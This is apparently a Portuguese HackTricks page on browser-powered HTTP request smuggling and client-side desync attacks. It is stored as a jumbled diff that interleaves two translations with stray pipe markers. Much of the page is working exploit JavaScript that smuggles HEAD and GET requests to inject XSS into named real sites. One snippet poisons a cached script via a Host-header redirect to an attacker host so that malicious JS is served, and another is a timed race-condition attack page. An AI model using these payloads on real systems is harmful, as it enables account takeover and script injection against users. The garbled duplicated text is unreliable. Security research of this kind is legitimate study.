* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
## CL.0/H2.0 desync compatível com navegador
|
||||||
|
|
||||||
## Desvio de solicitação HTTP do navegador
|
Esta vulnerabilidade ocorre quando o cabeçalho **Content Length** (CL) é completamente **ignorado** pelo **servidor backend**. Então, o backend trata o **corpo** como o **início do método da segunda requisição**. Ignorar o CL é equivalente a tratá-lo como se tivesse um valor de 0, portanto, isso é um desync CL.0 - uma classe de ataque [conhecida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) mas menos explorada.
|
||||||
|
|
||||||
<details>
|
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||||
|
|
||||||
<summary>Tradução para referência</summary>
|
O ataque foi possível porque o servidor backend simplesmente **não estava esperando uma requisição POST**.
|
||||||
|
|
||||||
Esta vulnerabilidade ocorre quando o cabeçalho **Content Length** (CL) é completamente **ignorado** pelo **servidor backend**. Em seguida, o back-end trata o **corpo** como o **início do método da segunda solicitação**. Ignorar o CL é equivalente a tratá-lo como tendo um valor de 0, portanto, este é um desvio CL.0 - uma classe de ataque [conhecida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf), mas menos explorada.
|
{% hint style="warning" %}
|
||||||
|
Note que esta vulnerabilidade é **ativada** por uma requisição HTTP **completamente válida**, em conformidade com a especificação. Isso significa que o **front-end não tem nenhuma chance de proteção** contra ela, e ela poderia até ser ativada por um navegador.
|
||||||
<img src="../../.gitbook/assets/image (3) (1) (2).png" alt="" data-size="original">
|
{% endhint %}
|
||||||
|
|
||||||
O ataque foi possível porque o servidor back-end simplesmente **não esperava uma solicitação POST**.
|
|
||||||
|
|
||||||
Observe que essa vulnerabilidade está sendo **acionada** por uma solicitação HTTP completamente **válida** e compatível com a especificação. Isso significa que o **front-end não tem chance de proteger** contra ela e até mesmo um navegador pode acioná-la.
|
|
||||||
|
|
||||||
A única **diferença** entre **CL.0** e **H2.0** é que o segundo está usando **HTTP2** (que tem um cabeçalho de comprimento de conteúdo implícito), mas o **backend também não está usando isso**.
|
A única **diferença** entre **CL.0** e **H2.0** é que o segundo está usando **HTTP2** (que tem um cabeçalho de comprimento de conteúdo implícito), mas o **backend também não está usando isso**.
|
||||||
|
|
||||||
### Desvio do lado do cliente
|
## Desync do Lado do Cliente
|
||||||
|
|
||||||
Os ataques de desvio tradicionais **envenenam** a **conexão** entre um servidor **front-end e back-end**, portanto, são impossíveis em sites que não usam uma arquitetura front-end/back-end. A partir de agora, esses são os desvios do lado do servidor. A maioria dos desvios do lado do servidor só pode ser acionada por um **cliente HTTP personalizado que emite uma solicitação malformada**.
|
Ataques de desync tradicionais **envenenam** a **conexão** entre um servidor **front-end e backend**, e por isso são impossíveis em sites que não usam uma arquitetura front-end/backend. Estes são **desyncs do lado do servidor** a partir de agora. A maioria dos **desyncs do lado do servidor** só pode ser ativada por um **cliente HTTP personalizado emitindo uma requisição malformada.**
|
||||||
|
|
||||||
A capacidade de um **navegador causar um desvio** permite uma nova classe inteira de ameaças chamada **desvio do lado do cliente** (CSD).\
|
A capacidade de um **navegador causar um desync** possibilita uma nova classe de ameaça chamada **desync do lado do cliente** (CSD).\
|
||||||
Um ataque CSD começa com a **vítima visitando o site do atacante**, que então faz com que o navegador envie **duas solicitações de domínio cruzado para o site vulnerável**. A **primeira** solicitação é criada para **desviar a conexão do navegador** e fazer com que a **segunda solicitação acione** uma resposta prejudicial, geralmente dando ao atacante o controle da conta da vítima.
|
Um ataque CSD começa com a **vítima visitando o site do atacante**, que então faz com que o navegador dela envie **duas requisições cross-domain para o site vulnerável**. A **primeira** requisição é elaborada para **desyncar a conexão do navegador** e fazer com que a **segunda requisição acione** uma resposta prejudicial, tipicamente dando ao atacante controle da conta da vítima.
|
||||||
|
|
||||||
#### Detectar
|
### Detectar
|
||||||
|
|
||||||
Um vetor CSD é uma solicitação HTTP com **duas** propriedades **chave**.
|
Um vetor CSD é uma requisição HTTP com **duas** propriedades **chave**.
|
||||||
|
|
||||||
Primeiro, o **servidor deve ignorar o Content-Length (CL)** da solicitação. Isso geralmente acontece porque a solicitação **acionou um erro do servidor** ou o servidor simplesmente **não esperava uma solicitação POST** para o endpoint escolhido. Tente direcionar **arquivos estáticos** e **redirecionamentos de nível de servidor**, e acionar erros por meio de **URLs muito longos** e **semi-malformados** como /%2e%2e.
|
Primeiro, o **servidor deve ignorar o Content-Length (CL) da requisição**. Isso geralmente acontece porque a requisição ou **ativou um erro no servidor**, ou o servidor simplesmente **não estava esperando uma requisição POST** para o endpoint escolhido. Tente mirar em **arquivos estáticos** e **redirecionamentos no nível do servidor**, e ativar erros via **URLs excessivamente longas**, e **semi-malformadas** como /%2e%2e.
|
||||||
|
|
||||||
Em segundo lugar, a solicitação deve ser **acionável em um navegador da web de domínio cruzado**. Os navegadores restringem severamente o controle sobre solicitações de domínio cruzado, portanto, você tem controle limitado sobre cabeçalhos e, se sua solicitação tiver um corpo, precisará usar o método HTTP POST. Em última análise, você só **controla** a **URL**, além de algumas coisas como o cabeçalho **Referer**, o **corpo** e a **última parte do Content-Type**.
|
Em segundo lugar, a requisição deve ser **ativável em um navegador web cross-domain**. Navegadores restringem severamente o controle sobre requisições cross-domain, então você tem controle limitado sobre cabeçalhos, e se sua requisição tem um corpo, você precisará usar o método HTTP POST. No final, você só **controla** a **URL**, além de algumas outras coisas como o cabeçalho **Referer**, o **corpo**, e a **parte final do Content-Type.**
|
||||||
|
|
||||||
**Testando a ignorância do CL**
|
#### Teste de ignorância do CL
|
||||||
|
|
||||||
A maneira de testar essa configuração incorreta é **enviar 2 solicitações e desviar uma** no **meio**. Se a conexão **desviada** afetou a resposta da **segunda solicitação**, significa que ela é **vulnerável**:
|
A maneira de testar essa má configuração é **enviar 2 requisições e contrabandear uma** no **meio**. Se a conexão **contrabandeada** **afetou** a resposta da **segunda** **requisição**, significa que está **vulnerável**:
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (2) (2) (1).png" alt="" data-size="original">
|
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||||
|
|
||||||
Observe que você **não pode** testar essa vulnerabilidade apenas enviando um **Content-Length maior** do que o enviado e **procurando um tempo limite** porque alguns servidores **respondem** mesmo se eles **não receberam todo o corpo**.
|
{% hint style="warning" %}
|
||||||
|
Note que você **não pode** testar essa vulnerabilidade apenas enviando um **Content-Length maior** do que o enviado e **procurando por um timeout**, porque alguns servidores **respondem** mesmo que **não tenham recebido o corpo inteiro**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
É importante observar se o site de destino suporta HTTP/2. Os ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e os navegadores da web **preferem usar HTTP/2 sempre que possível**, portanto, se o site de destino suportar HTTP/2, seus ataques provavelmente não funcionarão. Há uma **exceção**; alguns **proxies avançados não suportam HTTP/2**, então você pode explorar qualquer pessoa que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.
|
É importante notar se o **site alvo suporta HTTP**/2. Ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e navegadores web **preferem usar HTTP/2** sempre que possível, então se o site alvo **suporta HTTP/2 seus ataques provavelmente não funcionarão**. Há uma **exceção**; alguns **proxies avançados não suportam HTTP/2** então você pode explorar qualquer um que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.
|
||||||
|
|
||||||
#### Confirmar
|
### Confirmar
|
||||||
|
|
||||||
Primeiro, selecione um site para lançar o ataque. Este site deve ser **acessado por HTTPS** e localizado em um **domínio diferente do alvo**.
|
Primeiro, selecione um site para lançar o ataque. Este site deve ser **acessado via HTTPS** e localizado em um **domínio diferente do alvo**.
|
||||||
|
|
||||||
Em seguida, certifique-se de que **não tem um proxy configurado**, em seguida, navegue até o seu site de ataque. Abra as **ferramentas do desenvolvedor** e mude para a **guia Rede**. Para ajudar na depuração de possíveis problemas posteriormente, recomendo fazer os seguintes ajustes:
|
Em seguida, certifique-se de que você **não tem um proxy configurado**, e então navegue até o seu site de ataque. Abra as **ferramentas de desenvolvedor** e vá para a aba **Rede**. Para ajudar na depuração de problemas potenciais mais tarde, recomendo fazer os seguintes ajustes:
|
||||||
|
|
||||||
* Selecione a caixa de seleção **"Preservar log"**.
|
* Selecione a caixa de seleção **"Preserve log"**.
|
||||||
* Clique com o botão direito do mouse nos cabeçalhos das colunas e **ative a coluna "ID de conexão"**.
|
* Clique com o botão direito nos cabeçalhos das colunas e **ative a coluna "Connection ID"**.
|
||||||
|
|
||||||
Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:
|
Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:
|
||||||
|
```javascript
|
||||||
</details>
|
fetch('https://example.com/', {
|
||||||
|
method: 'POST',
|
||||||
\`\`\`javascript fetch('https://example.com/', { method: 'POST', body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix mode: 'no-cors', // ensure connection ID is visible credentials: 'include' // poison 'with-cookies' pool }).then(() => { location = 'https://example.com/' // use the poisoned connection }) \`\`\` Eu defini o modo de busca \*\*'no-cors'\*\* para garantir que o Chrome \*\*exiba o ID de conexão\*\* na guia de Rede. Também defini \*\*credentials: 'include'\*\* porque o Chrome tem \[\*\*duas piscinas de conexão separadas\*\*]\(https://www.chromium.org/developers/design-documents/network-stack/preconnect) - uma para solicitações com cookies e outra para solicitações sem. Geralmente, você deseja explorar \*\*navegações\*\*, e essas \*\*usam a piscina 'com-cookies'\*\*, então vale a pena se acostumar a sempre envenenar essa piscina.
|
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||||
|
mode: 'no-cors', // ensure connection ID is visible
|
||||||
Quando você executar isso, deverá ver **duas solicitações** na guia de Rede com o **mesmo ID de conexão**, e a **segunda** deve acionar um **404**:
|
credentials: 'include' // poison 'with-cookies' pool
|
||||||
|
}).then(() => {
|
||||||
![](<../../.gitbook/assets/image (158) (2).png>)
|
location = 'https://example.com/' // use the poisoned connection
|
||||||
|
})
|
||||||
Se isso funcionar conforme o esperado, parabéns - você encontrou uma dessincronização do lado do cliente!
|
```
|
||||||
|
|
||||||
### Exploração - Armazenar
|
### Exploração - Armazenar
|
||||||
|
|
||||||
Uma opção é identificar a funcionalidade no site de destino que permite **armazenar dados de texto**, e criar o prefixo para que os cookies, cabeçalhos de autenticação ou senha da vítima acabem sendo **armazenados em algum lugar que você possa recuperá-los**. Este fluxo de ataque funciona [quase identicamente ao desvio de solicitação do lado do servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), então não vou me deter nisso.
|
Uma opção é identificar funcionalidades no site alvo que permitam **armazenar dados de texto**, e criar o prefixo de modo que os cookies da vítima, cabeçalhos de autenticação ou senha acabem sendo **armazenados em algum lugar que você possa recuperar**. Este fluxo de ataque funciona [quase idêntico ao contrabando de requisições do lado do servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), então não vou me aprofundar nisso.
|
||||||
|
|
||||||
### Exploração - **Encadear e girar**
|
### Exploração - **Encadear e pivotar**
|
||||||
|
|
||||||
Em circunstâncias normais, muitas classes de **ataque do lado do servidor** só podem ser lançadas por um invasor com acesso direto ao site de destino, pois **dependem de solicitações HTTP que os navegadores se recusam a enviar**, como **manipulação** de **cabeçalhos HTTP** - envenenamento de cache da web, a maioria dos desvios de solicitação do lado do servidor, ataques de cabeçalho de host, baseados em User-Agent [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type e muitos outros.
|
Em circunstâncias normais, muitas classes de **ataque do lado do servidor** só podem ser lançadas por um atacante com acesso direto ao site alvo, pois **dependem de requisições HTTP que os navegadores se recusam a enviar**, como **manipulação** de **cabeçalhos HTTP** - envenenamento de cache da web, a maioria dos contrabandos de requisições do lado do servidor, ataques de cabeçalho de host, User-Agent baseado em [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type e muitos outros.
|
||||||
|
|
||||||
O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de dessincronização do lado do servidor: [**envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), e usando o [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para emendar uma resposta com HTML prejudicial. Ambas as técnicas precisavam ser **adaptadas** para superar alguns desafios novos associados à operação no **navegador da vítima**.
|
O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de desincronização do lado do servidor: [**envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de Host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), e usando o [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para juntar uma resposta com HTML prejudicial. Ambas as técnicas precisaram ser **adaptadas** para superar alguns desafios novos associados à operação no **navegador da vítima**.
|
||||||
|
|
||||||
## Exemplos de exploração
|
## Exemplos de Exploração
|
||||||
|
|
||||||
### Exemplo de HEAD empilhado
|
### Exemplo de HEAD empilhado
|
||||||
|
|
||||||
* **Exploit colorido**
|
* **Exploração colorida**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||||
|
|
||||||
* **Exploit JS**
|
* **Exploração JS**
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://www.capitalone.ca/assets', {
|
fetch('https://www.capitalone.ca/assets', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
// use a cache-buster to delay the response
|
// use a cache-buster to delay the response
|
||||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||||
credentials: 'include',
|
credentials: 'include',
|
||||||
mode: 'cors' // throw an error instead of following redirect
|
mode: 'cors' // throw an error instead of following redirect
|
||||||
}).catch(() => {
|
}).catch(() => {
|
||||||
location = 'https://www.capitalone.ca/'
|
location = 'https://www.capitalone.ca/'
|
||||||
})va
|
})va
|
||||||
```
|
```
|
||||||
|
|
||||||
Explicação:
|
Explicação:
|
||||||
|
|
||||||
* **Abuso de CL.0** em /assets (ele redireciona para /assets/ e não verifica o CL)
|
* **Abuso de CL.0** em /assets (ele redireciona para /assets/ e não verifica o CL)
|
||||||
* **Contrabandear** uma solicitação **HEAD** (porque as respostas HEAD ainda contêm um content-length)
|
* **Contrabandear** uma requisição **HEAD** (porque as respostas HEAD ainda contêm um content-length)
|
||||||
* **Contrabandear** uma solicitação **GET** cujo **conteúdo** será **refletido** na resposta com o payload.
|
* **Contrabandear** uma requisição **GET** cujo **conteúdo** vai ser **refletido** na resposta com o payload.
|
||||||
* Devido ao **content-length do req HEAD**, a **resposta** desta solicitação será o **corpo do req HEAD**
|
* Por causa do **content-length do HEAD** req, a **resposta** desta requisição será o **corpo da requisição HEAD**
|
||||||
* Definir o **modo cors**. Normalmente, isso não é feito, mas neste caso, a **resposta** do servidor para o **POST** **inicial** é um **redirecionamento** que, se **seguido**, o **exploit não funcionará**. Portanto, o **modo cors** é usado para **disparar** um **erro** e **redirecionar** a vítima com o **`catch`**.
|
* Definir **modo cors**. Normalmente isso não é feito, mas neste caso a **resposta** do servidor ao **POST inicial** é um **redirecionamento** que, se **seguido**, o **exploit não funcionará**. Portanto, o **modo cors** é usado para **desencadear** um **erro** e **redirecionar** a vítima com o **`catch`**.
|
||||||
|
|
||||||
### **Redirecionamento de cabeçalho de host + envenenamento de cache do lado do cliente**
|
### **Redirecionamento do cabeçalho do host + envenenamento de cache do lado do cliente**
|
||||||
|
|
||||||
* **exploit JS**
|
|
||||||
|
|
||||||
|
* **Exploit JS**
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://redacted/', {
|
fetch('https://redacted/', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||||
credentials: 'include'}
|
credentials: 'include'}
|
||||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||||
```
|
```
|
||||||
|
* Uma requisição para `/+webvpn+/` com um **domínio diferente no cabeçalho Host** é respondida com um **redirecionamento** para `/+webvpn+/index.html` para aquele **domínio** dentro do cabeçalho Host.
|
||||||
* Uma solicitação para `/+webvpn+/` com um **domínio diferente no cabeçalho Host** é respondida com um **redirecionamento** para `/+webvpn+/index.html` para aquele **domínio** dentro do cabeçalho Host.
|
* O local na **segunda** requisição é definido para `/+CSCOE+/win.js` a fim de **envenenar** o **cache** daquele arquivo `.js`.
|
||||||
* A localização na **segunda** solicitação é definida como `/+CSCOE+/win.js` para **envenenar** o **cache** desse arquivo `.js`.
|
* Esta requisição será respondida com o redirecionamento de `/+webvpn+/` para o domínio do atacante com o caminho `/+webvpn+/index.html`
|
||||||
* Esta solicitação será respondida com o redirecionamento de `/+webvpn+/` para o domínio do atacante com o caminho `/+webvpn+/index.html`.
|
* O **cache** de **`win.js`** será **envenenado** com um **redirecionamento** para a página do **atacante**, mas também a **vítima** irá **seguir** o redirecionamento como foi atribuído na variável `location` e terminará na página web do atacante.
|
||||||
* O **cache** de **`win.js`** será **envenenado** com um **redirecionamento** para a página do **atacante**, mas também a **vítima** seguirá o redirecionamento, pois foi atribuído à variável `location` e acabará na página da web do atacante.
|
|
||||||
* O atacante então **redirecionará** a **vítima** para `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cujo **cache é um redirecionamento** para o servidor do **atacante**, portanto, o atacante pode **responder com um JS malicioso**.
|
* O atacante então **redirecionará** a **vítima** para `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cujo **cache é um redirecionamento** para o servidor do **atacante**, portanto, o atacante pode **responder com um JS malicioso**.
|
||||||
|
|
||||||
A **vítima** acessará a página do **atacante** **duas vezes**, na primeira ela **espera um HTML** que redirecione a vítima de volta para `https://redacted/+CSCOE+/logon.html` e na segunda ela **espera código javascript** (a carga útil). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:
|
A **vítima** irá **acessar** a página do **atacante** **duas vezes**, a primeira ela **espera um HTML** que redirecione a vítima de volta para `https://redacted/+CSCOE+/logon.html` e a segunda ela **espera código javascript** (o payload). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:
|
||||||
|
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
|
|
||||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||||
```
|
```
|
||||||
|
### Carga útil HEAD com TE fragmentado
|
||||||
### Payload HEAD com TE chunked
|
|
||||||
|
|
||||||
Ao procurar por CSD, você também pode **testar URLs semi-malformadas** como `/..%2f` ou `/%2f`.
|
Ao procurar por CSD, você também pode **testar URLs semi-malformadas** como `/..%2f` ou `/%2f`.
|
||||||
|
|
||||||
* **Exploração colorida**
|
* **Exploit Colorido**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||||
|
|
||||||
* **Exploração JS**
|
* **Exploit JS**
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://www.verisign.com/%2f', {
|
fetch('https://www.verisign.com/%2f', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||||
credentials: 'include',
|
credentials: 'include',
|
||||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||||
}}).catch(() => {
|
}}).catch(() => {
|
||||||
let form = document.createElement('form')
|
let form = document.createElement('form')
|
||||||
form.method = 'POST'
|
form.method = 'POST'
|
||||||
form.action = 'https://www.verisign.com/robots.txt'
|
form.action = 'https://www.verisign.com/robots.txt'
|
||||||
form.enctype = 'text/plain'
|
form.enctype = 'text/plain'
|
||||||
let input = document.createElement('input')
|
let input = document.createElement('input')
|
||||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||||
input.value = ''
|
input.value = ''
|
||||||
form.appendChild(input)
|
form.appendChild(input)
|
||||||
document.body.appendChild(form)
|
document.body.appendChild(form)
|
||||||
form.submit()
|
form.submit()
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
* A página **`/%2f`** é acessada para **explorar** a vulnerabilidade **CL.0**.
|
* A página **`/%2f`** é acessada para **explorar** a vulnerabilidade **CL.0**.
|
||||||
* Um pedido **HEAD** é contrabandeado usando o cabeçalho **`Transfer-Encoding: chunked`**.
|
* Uma requisição **HEAD** é contrabandeada usando um **`Transfer-Encoding: chunked` header**.
|
||||||
* Esse cabeçalho é necessário nesse cenário porque, caso contrário, o **servidor se recusa a aceitar um pedido HEAD com um corpo**.
|
* Esse cabeçalho é necessário neste cenário porque, caso contrário, o **servidor recusava aceitar uma requisição HEAD com um corpo**.
|
||||||
* Em seguida, o usuário envia um POST cujo corpo contém o **último chunk do pedido HEAD anterior** e um **novo pedido que é contrabandeado** com **conteúdo** (a carga útil JS) que será **refletido** na resposta.
|
* Em seguida, o usuário envia um POST cujo corpo contém o **final do chunk da requisição HEAD anterior** e uma **nova requisição que é contrabandeada** com **conteúdo** (o payload JS) que será **refletido** na resposta.
|
||||||
* Portanto, o navegador tratará a **resposta ao HEAD** como a **resposta ao pedido POST** que também **contém** no **corpo** da resposta que **reflete** a **entrada** do usuário no segundo pedido contrabandeado.
|
* Portanto, o navegador tratará a **resposta à requisição HEAD** como a **resposta à requisição POST**, que também **conterá** na **resposta do corpo** que **reflete** a **entrada** do usuário na segunda requisição contrabandeada.
|
||||||
|
|
||||||
### Redirecionamento de cabeçalho de host + RC
|
### Redirecionamento do cabeçalho Host + RC
|
||||||
|
|
||||||
* **JS Exploit**
|
* **JS Exploit**
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
function reset() {
|
function reset() {
|
||||||
fetch('https://vpn.redacted/robots.txt',
|
fetch('https://vpn.redacted/robots.txt',
|
||||||
{mode: 'no-cors', credentials: 'include'}
|
{mode: 'no-cors', credentials: 'include'}
|
||||||
).then(() => {
|
).then(() => {
|
||||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||||
})
|
})
|
||||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||||
}
|
}
|
||||||
|
|
||||||
function poison(){
|
function poison(){
|
||||||
sendPoison()
|
sendPoison()
|
||||||
sendPoison()
|
sendPoison()
|
||||||
sendPoison()
|
sendPoison()
|
||||||
setTimeout(reset, 1000)
|
setTimeout(reset, 1000)
|
||||||
}
|
}
|
||||||
|
|
||||||
function sendPoison(){
|
function sendPoison(){
|
||||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||||
{
|
{
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||||
mode: 'no-cors',
|
mode: 'no-cors',
|
||||||
credentials: 'include'
|
credentials: 'include'
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||||
```
|
```
|
||||||
|
Neste caso, novamente, há um **host header** **redirect** que poderia ser usado para **hijack** uma importação de **JS**. No entanto, desta vez o **redirect não é cacheável**, então o envenenamento de **cache** do lado do cliente não é uma opção.
|
||||||
|
|
||||||
Neste caso, novamente, há um **redirecionamento de cabeçalho de host** que poderia ser usado para **sequestrar** uma importação de **JS**. No entanto, desta vez, o **redirecionamento não é armazenável em cache**, então a **contaminação de cache** do lado do cliente não é uma opção.
|
Portanto, o ataque realizado fará com que a **vítima acesse a página vulnerável** em uma aba e então, justo **antes** da página tentar **carregar um arquivo JS**, **envenene** o socket **smuggling connections** (3 neste caso).\
|
||||||
|
Como o **timing** tem que ser extremamente **preciso**, o ataque é realizado contra uma **nova aba a cada iteração** até funcionar.
|
||||||
Portanto, o ataque realizado fará com que a **vítima acesse a página vulnerável** em uma guia e, em seguida, **antes** da página tentar **carregar um arquivo JS**, **contamine** as conexões de **contrabando de soquete** (3 neste caso).\
|
|
||||||
Como o **tempo** tem que ser extremamente **preciso**, o ataque é realizado contra uma **nova guia em cada iteração** até que funcione.
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tenha em mente que, neste caso, `/meeting_testjs.cgi` foi atacado porque **carrega** um **Javascript** que está respondendo com um **404**, então não está em cache. Em outros cenários em que você tenta atacar um **JS que está em cache**, você precisa esperar que ele **desapareça do cache** antes de lançar um novo ataque.
|
Lembre-se de que neste caso `/meeting_testjs.cgi` foi atacado porque **carrega** um **Javascript** que está respondendo com um **404**, então não está em cache. Em outros cenários onde você tenta atacar um **JS que está em cache**, você precisa esperar que ele **desapareça do cache** antes de lançar um novo ataque.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Passos resumidos:
|
Passos resumidos:
|
||||||
|
|
||||||
* Abra uma nova janela.
|
* Abrir uma nova janela.
|
||||||
* Emita uma solicitação inofensiva ao alvo para estabelecer uma conexão nova, tornando os tempos mais consistentes.
|
* Emitir uma solicitação inofensiva ao alvo para estabelecer uma conexão nova, tornando os tempos mais consistentes.
|
||||||
* Navegue na janela para a página de destino em /meeting\_testjs.cgi.
|
* Navegar a janela para a página alvo em /meeting\_testjs.cgi.
|
||||||
* 120ms depois, crie três conexões contaminadas usando o gadget de redirecionamento.
|
* 120ms depois, criar três conexões envenenadas usando o gadget de redirecionamento.
|
||||||
